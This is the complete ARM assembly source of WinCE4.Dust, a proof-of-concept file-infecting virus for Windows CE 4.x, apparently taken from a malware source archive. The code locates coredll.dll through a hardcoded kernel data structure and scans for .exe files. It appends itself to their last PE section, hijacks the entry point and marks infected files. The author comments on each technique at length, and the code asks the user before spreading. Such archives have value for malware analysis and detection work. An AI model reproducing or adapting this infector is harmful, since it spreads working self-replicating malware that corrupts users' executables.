MalwareSourceCode/LegacyWindows/WinCE/WinCE.Dust.TXT

** virus_source **

  CODE32

   EXPORT  WinMainCRTStartup

   AREA .text, CODE, ARM

virus_start

; r11 - base pointer
virus_code_start   PROC
   stmdb   sp!, {r0 - r12, lr, pc}
   mov    r11, sp
   sub    sp, sp, #56     ; make space on the stack

   ; our stack space gets filled the following way
   ;    #-56 - udiv
   ;    #-52 - malloc
   ;    #-48 - free
   ; [r11, #-44] - CreateFileForMappingW
   ;    #-40 - CloseHandle
   ;    #-36 - CreateFileMappingW
   ;    #-32 - MapViewOfFile
   ;    #-28 - UnmapViewOfFile
   ;    #-24 - FindFirstFileW
   ;    #-20 - FindNextFileW
   ;    #-16 - FindClose
   ;    #-12 - MessageBoxW

   ;    #- 8 - filehandle
   ;    #- 4 - mapping handle

   bl    get_export_section

   ; we'll import via ordinals, not function names, because it's
   ; safe - even linker does that

   adr   r2, import_ordinals
   mov   r3, sp
   bl    lookup_imports

   ;
   bl    ask_user
   beq    jmp_to_host     ; are we allowed to spread?
   ;

   mov    r0, #0x23, 28
   mov    lr, pc
   ldr    pc, [r11, #-52]   ; allocate WFD
   mov    r4, r0

   cmp    r0, #0
   beq    jmp_to_host

   ; in the following code I use functions FindFirstFile/FindNextFile
   ; for finding *.exe files in the current directory. But in this
   ; case I made a big mistake. I didn't realize that WinCE is not
   ; aware of the current directory and thus we need to use absolute
   ; pathnames. That's why this code won't find files in the current
   ; directory, but rather always in root directory. I found this out when I
   ; was performing final tests, but because the aim was to create a
   ; proof-of-concept code and because the infection itself was already
   ; limited by the user's permission, I decided not to correct this
   ; bug

   adr    r0, mask
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-24]   ; find first file
   cmn    r0, #1
   beq    free_wfd

   mov    r5, r0
find_files_iterate
   ldr    r0, [r4, #28]     ; filesize high
   ldr    r1, [r4, #32]     ; filesize low

   cmp    r0, #0         ; file too big?
   bne    find_next_file

   cmp    r1, #0x1000      ; file smaller than 4096 bytes?
   addgt   r0, r4, #40      ; gimme file name
   blgt   infect_file

find_next_file
   mov    r0, r5
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-20]    ; find next file
   cmp    r0, #0         ; is there any left?
   bne    find_files_iterate

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-16]

free_wfd
   mov    r0, r4
   mov    lr, pc
   ldr    pc, [r11, #-48]    ; free WFD
   ;

jmp_to_host
   adr    r0, host_ep
   ldr    r1, [r0]        ; get host_entry
   ldr    r2, [r11, #56]     ; get pc
   add    r1, r1, r2       ; add displacement
   str    r1, [r11, #56]     ; store it back

   mov    sp, r11
   ldmia   sp!, {r0 - r12, lr, pc}
   ENDP

   ; we're looking for *.exe files
mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0

   ; host entry point displacement
   ; in first generation let compiler count it
host_ep
   DCD    host_entry - virus_code_start - 8

   ; WinCE is a UNICODE-only platform and thus we'll use the W ending
   ; for api names (there are no ANSI versions of these)

import_ordinals
   DCW    2008       ; udiv
   DCW    1041       ; malloc
   DCW    1018       ; free
   DCW    1167       ; CreateFileForMappingW
   DCW    553        ; CloseHandle
   DCW    548        ; CreateFileMappingW
   DCW    549        ; MapViewOfFile
   DCW    550        ; UnmapViewOfFile
   DCW    167        ; FindFirstFileW
   DCW    181        ; FindNextFile
   DCW    180        ; FindClose
   DCW    858        ; MessageBoxW

   DCD    0x0

   ; basic wide string compare
wstrcmp   PROC
wstrcmp_iterate
   ldrh    r2, [r0], #2
   ldrh    r3, [r1], #2

   cmp    r2, #0
   cmpeq   r3, #0
   moveq   pc, lr

   cmp    r2, r3
   beq    wstrcmp_iterate

   mov    pc, lr
   ENDP

   ; on theWin32 platform, almost all important functions were located in the
   ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
   ; was). The first infectors had a hardcoded imagebase of this dll and
   ; later they imported needed functions by hand from it. This
   ; turned out to be incompatible because different Windows versions might
   ; have different imagebases for kernel32. That's why more or less
   ; sophisticated methods were found that allowed coding in a
   ; compatible way. One of these methods is scanning memory for known values
   ; located in PE file header ("MZ") if the address inside the module is
   ; given. Because the function inside kernel32 calls the EntryPoint of
   ; every Win32 process, we've got this address. Then comparing the word
   ; on and aligned address (and decrementing it) against known values is
   ; enough to locate the imagebase. If this routine is even covered
   ; with SEH (Structured Exception Handling) everything is safe.

   ; I wanted to use this method on WinCE too, but I hit the wall.
   ; Probably to save memory space, there are no headers
   ; before the first section of the loaded module. There is thus no
   ; "MZ" value and scanning cannot be used even we have the address
   ; inside coredll.dll (lr registr on our entrypoint). Moreover, we
   ; cannot use SEH either, because SEH handlers get installed with
   ; the help of a special directory (the exception directory) in the PE file and
   ; some data before the function starts - this information would have
   ; to be added while infecting the victim (the exception directory
   ; would have to be altered) which is of course not impossible -- just
   ; a little bit impractical to implement in our basic virus.

   ; That's why I was forced to use a different approach. I looked
   ; through the Windows CE 3.0 source code (shared source,
   ; downloadable from Microsoft) and tried to find out how the loader
   ; performs its task. The Loader needs the pointer to the module's export
   ; section and its imagebase to be able to import from it. The result was a
   ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
   ; chose to open this loophole, I don't know)
   ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
   ; list of Module structures. There we can find all needed values
   ; (name of the module, imagebase and export section RVA). In the
   ; code that follows I go through this one-way list and look for
   ; structure describing the coredll.dll module. From this structure I
   ; get the imagebase and export section RVA (Relative Virtual Address).

   ; what sounds relatively easy was in the end more work than I
   ; expected. The problem was to get the offsets in the Module
   ; structure. The source code and corresponding headers I had were for
   ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
   ; where the structure is different. I worked it out using the following
   ; sequence:
   ; I was able to get the imagebase offset using the trial-and-error
   ; method - I used the debugger and tried values inside the
   ; structure that looked like valid pointers. If there was something
   ; interesting, I did some memory sniffing to realize where I was.
   ; The export section pointer was more difficult. There is no real
   ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
   ; pointer. That's why I found coredll.dll in memory - namely the
   ; list of function names in export section that the library exports.
   ; This list is just a series of ASCIIZ names (you can see this list
   ; when opening the dll in your favourite hex editor). At the
   ; beginning of this list there must be a dll name (in this case
   ; coredll.dll) to which a RVA in the export section header
   ; points. Substracting the imagebase from the address where the dll
   ; name starts gave me an RVA of the dll name. I did a simple byte
   ; search for the byte sequence that together made this RVA value. This
   ; showed me where the (Export Directory Table).Name Rva is.
   ; Because this is a known offset within a known structure (which is
   ; in the beginning of export section), I was able to get
   ; the export section pointer this way. I again substracted the imagebase to
   ; get the export section RVA. I looked up this value in the coredll's
   ; Module structure, which finally gave me the export section RVA
   ; offset.

   ; this works on Pocket PC 2003; it works on
   ; my wince 4.20.0 (build 13252).
   ; On different versions the structure offsets might be different :-/

; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
   stmdb   sp!, {r4 - r9, lr}

   ldr    r4, =0xffffc800   ; KDataStruct
   ldr    r5, =0x324     ; aInfo[KINX_MODULES]

   add    r5, r4, r5
   ldr    r5, [r5]

   ; r5 now points to first module

   mov    r6, r5
   mov    r7, #0

iterate
   ldr    r0, [r6, #8]     ; get dll name
   adr    r1, coredll
   bl    wstrcmp        ; compare with coredll.dll

   ldreq   r7, [r6, #0x7c]    ; get dll base
   ldreq   r8, [r6, #0x8c]    ; get export section rva

   add    r9, r7, r8
   beq    got_coredllbase    ; is it what we're looking for?

   ldr    r6, [r6, #4]
   cmp    r6, #0
   cmpne   r6, r5
   bne    iterate        ; nope, go on

got_coredllbase
   mov    r0, r7
   add    r1, r8, r7      ; yep, we've got imagebase
                   ; and export section pointer

   ldmia   sp!, {r4 - r9, pc}
   ENDP

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
      DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports   PROC
   stmdb   sp!, {r4 - r6, lr}

   ldr    r4, [r1, #0x10]    ; gimme ordinal base
   ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
   add    r5, r5, r0

lookup_imports_iterate
   ldrh   r6, [r2], #2     ; gimme ordinal
   cmp    r6, #0        ; last value?

   subne   r6, r6, r4      ; substract ordinal base
   ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
   addne   r6, r6, r0      ; add imagebase
   strne   r6, [r3], #4     ; store function address
   bne    lookup_imports_iterate

   ldmia    sp!, {r4 - r6, pc}
   ENDP

; r0 - filename
; r1 - filesize
infect_file   PROC
   stmdb   sp!, {r0, r1, r4, r5, lr}

   mov    r4, r1
   mov    r8, r0

   bl    open_file       ; first open the file for mapping
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]    ; store the handle

   mov    r0, r4        ; now create the mapping with
                   ; maximum size == filesize
   bl    create_mapping
   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]    ; store the handle

   mov    r0, r4
   bl    map_file       ; map the whole file
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0

   bl    check_header     ; is it file that we can infect?
   bne    infect_file_end_unmap_view

   ldr    r0, [r2, #0x4c]    ; check the reserved field in
                   ; optional header against
   ldr    r1, =0x72617461    ; rata
   cmp    r0, r1        ; already infected?
   beq    infect_file_end_unmap_view

   ldr    r1, [r2, #0x3c]    ; gimme filealignment
   adr    r0, virus_start
   adr    r2, virus_end     ; compute virus size
   sub    r0, r2, r0
   mov    r7, r0        ; r7 now holds virus_size
   add    r0, r0, r4
   bl    _align_        ; add it to filesize and
   mov    r6, r0        ; align it to filealignment
                   ; r6 holds the new filesize

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-28]    ; UnmapViewOfFile

   ldr    r0, [r11, #-4]
   mov    lr, pc
   ldr    pc, [r11, #-40]    ; close mapping handle

   ;
   mov    r0, r8
   bl    open_file       ; reopen the file because via
                   ; closing the mapping handle file
                   ; handle was closed too
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]

   mov    r0, r6        ; create mapping again with the
   bl    create_mapping    ; new filesize (with virus appended)

   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]

   mov    r0, r6
   bl    map_file       ; map it
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0
   ;

   ; r5 - mapping base
   ; r7 - virus_size

   ldr    r4, [r5, #0x3c]    ; get PE signature offset
   add    r4, r4, r5      ; add the base

   ldrh   r1, [r4, #6]     ; get NumberOfSections
   sub    r1, r1, #1      ; we want the last section header
                   ; so dec
   mov    r2, #0x28       ; multiply with section header size
   mul    r0, r1, r2

   add    r0, r0, r4      ; add optional header start to displacement
   add    r0, r0, #0x78     ; add optional header size

   ldr    r1, [r4, #0x74]    ; get number of data directories
   mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)
   add    r0, r0, r1      ; add it because section headers
                   ; start after the optional header
                   ; (including data directories)

   ldr    r6, [r4, #0x28]    ; gimme entrypoint rva

   ldr    r1, [r0, #0x10]    ; get last section's size of rawdata
   ldr    r2, [r0, #0x14]    ; and pointer to rawdata
   mov    r3, r1
   add    r1, r1, r2      ; compute pointer to the first
                   ; byte available for us in the
                   ; last section
                   ; (pointer to rawdata + sizeof rawdata)
   mov    r9, r1        ; r9 now holds the pointer

   ldr    r8, [r0, #0xc]    ; get RVA of section start
   add    r3, r3, r8      ; add sizeof rawdata
   str    r3, [r4, #0x28]    ; set entrypoint

   sub    r6, r6, r3      ; now compute the displacement so that
                   ; we can later jump back to the host
   sub    r6, r6, #8      ; sub 8 because pc points to
                   ; fetched instruction (viz LTORG)

   mov    r10, r0
   ldr    r0, [r10, #0x10]   ; get size of raw data again
   add    r0, r0, r7      ; add virus size
   ldr    r1, [r4, #0x3c]
   bl    _align_        ; and align

   str    r0, [r10, #0x10]   ; store new size of rawdata
   str    r0, [r10, #0x8]    ; store new virtual size

   ldr    r1, [r10, #0xc]    ; get virtual address of last section
   add    r0, r0, r1      ; add size so get whole image size
   str    r0, [r4, #0x50]    ; and store it

   ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
                   ; IMAGE_SCN_MEM_READ
   ldr    r1, [r10, #0x24]   ; get old section flags
   orr    r0, r1, r0      ; or it with our needed ones
   str    r0, [r10, #0x24]   ; store new flags

   ldr    r0, =0x72617461
   str    r0, [r4, #0x4c]    ; store our infection mark

   add    r1, r9, r5      ; now we'll copy virus body
   mov    r9, r1        ; to space prepared in last section
   adr    r0, virus_start
   mov    r2, r7
   bl    simple_memcpy

   adr    r0, host_ep      ; compute number of bytes between
                   ; virus start and host ep
   adr    r1, virus_start
   sub    r0, r0, r1      ; because we'll store new host_ep
   str    r6, [r0, r9]     ; in the copied virus body

infect_file_end_unmap_view
   mov    r0, r5
   mov    lr, pc        ; unmap the view
   ldr    pc, [r11, #-28]
infect_file_end_close_mapping
   ldr    r0, [r11, #-4]
   mov    lr, pc        ; close the mapping
   ldr    pc, [r11, #-40]
infect_file_end_close_file
   ldr    r0, [r11, #-8]
   mov    lr, pc        ; close file handle
   ldr    pc, [r11, #-40]
infect_file_end
   ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return
   ENDP

   ; a little reminiscence of my beloved book - Greg Egan's Permutation City
   DCB    "This code arose from the dust of Permutation City"
   ALIGN    4


   ; this function checks whether the file we want to infect is
   ; suitable
check_header  PROC
   ldrh   r0, [r5]
   ldr    r1, =0x5a4d      ; MZ?
   cmp    r0, r1
   bne    infect_file_end_close_mapping

   ldr    r2, [r5, #0x3c]
   add    r2, r2, r5

   ldrh   r0, [r2]
   ldr    r1, =0x4550      ; Signature == PE?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #4]
   ldr    r1, =0x1c0      ; Machine == ARM?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
   cmp    r0, #9
   bne    check_header_end

   ldrh   r0, [r2, #0x40]
   cmp    r0, #4        ; windows ce 4?

check_header_end
   mov    pc, lr
   ENDP

; r0 - file
open_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #0xc
   mov    r1, #3
   str    r1, [sp]       ; OPEN_EXISTING
   mov    r3, #0
   mov    r2, #0
   str    r3, [sp, #8]
   str    r3, [sp, #4]
   mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE
   mov    lr, pc
   ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to
                   ; get the handle suitable for
                   ; CreateFileMapping API
                   ; (on Win32 calling CreateFile is enough)
   add    sp, sp, #0xc

   ldr    pc, [sp], #4
   ENDP

; r0 - max size low
create_mapping   PROC
   str    lr, [sp, #-4]!

   mov    r1, #0
   sub    sp, sp, #8
   str    r0, [sp]
   str    r1, [sp, #4]
   mov    r2, #4        ; PAGE_READWRITE
   mov    r3, #0
   ldr    r0, [r11, #-8]
   mov    lr, pc
   ldr    pc, [r11, #-36]
   add    sp, sp, #8

   ldr    pc, [sp], #4
   ENDP

; r0 - bytes to map
map_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #4
   str    r0, [sp]
   ldr    r0, [r11, #-4]
   mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE
   mov    r2, #0
   mov    r3, #0
   mov    lr, pc
   ldr    pc, [r11, #-32]
   add    sp, sp, #4

   ldr    pc, [sp], #4
   ENDP


   ; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy   PROC
   ldr    r3, [r0], #4
   str    r3, [r1], #4
   subs   r2, r2, #4
   bne    simple_memcpy
   mov    pc, lr
   ENDP


   ; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_    PROC
   stmdb   sp!, {r4, r5, lr}

   mov    r4, r0
   mov    r5, r1

   mov    r0, r1
   mov    r1, r4

   ; ARM ISA doesn't have the div instruction so we'll have to call
   ; the coredll's div implementation

   mov    lr, pc
   ldr    pc, [r11, #-56]    ; udiv

   sub    r1, r5, r1
   add    r0, r4, r1

   ldmia   sp!, {r4, r5, pc}
   ENDP

   ; this function will ask user (via a MessageBox) whether we're
   ; allowed to spread or not
ask_user   PROC
   str    lr, [sp, #-4]!

   mov    r0, #0
   adr    r1, text
   adr    r2, caption
   mov    r3, #4

   mov    lr, pc
   ldr    pc, [r11, #-12]

   cmp    r0, #7

   ldr    pc, [sp], #4
   ENDP

   ; notice that the strings are encoded in UNICODE

   ; WinCE4.Dust by Ratter/29A
caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
     DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
     DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
     DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
     DCB    "A", 0x0, 0x0, 0x0

     ALIGN    4

   ; Dear User, am I allowed to spread?

text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
     DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
     DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
     DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
     DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
     DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
     ALIGN    4

     ; Just a little greeting to AV firms :-)

     DCB    "This is proof of concept code. Also, i wanted to make avers happy."
     DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"
     DCB    " to end ..."
     ALIGN    4

   ; LTORG is a very important pseudo instruction, which places the
   ; literal pool "at" the place of its presence. Because the ARM
   ; instruction length is hardcoded to 32 bits, it is not possible in
   ; one instruction to load the whole 32bit range into a register (there
   ; have to be bits to specify the opcode). That's why the literal
   ; pool was introduced, which in fact is just an array of 32bit values
   ; that are not possible to load. This data structure is later
   ; accessed with the aid of the PC (program counter) register that points
   ; to the currently executed instruction + 8 (+ 8 because ARM processors
   ; implement a 3 phase pipeline: execute, decode, fetch and the PC
   ; points not at the instruction being executed but at the instruction being
   ; fetched). An offset is added to PC so that the final pointer
   ; points to the right value in the literal pool.

   ; the pseudo instruction ldr rX, =<value> while compiling gets
   ; transformed to a mov instruction (if the value is in the range of
   ; valid values) or it allocates its place in the literal pool and becomes a
   ; ldr, rX, [pc, #<offset>]
   ; similarly adr and adrl instructions serve to loading addresses
   ; to register.

   ; this approach's advantage is that with minimal effort we can get
   ; position independent code from the compiler which allows our
   ; code to run wherever in the address space the loader will load us.

   LTORG
virus_end

   ; the code after virus_end doesn't get copied to victims

WinMainCRTStartup PROC
   b     virus_code_start
   ENDP

   ; first generation entry point
host_entry
   mvn    r0, #0
   mov    pc, lr
   END
** virus_source_end **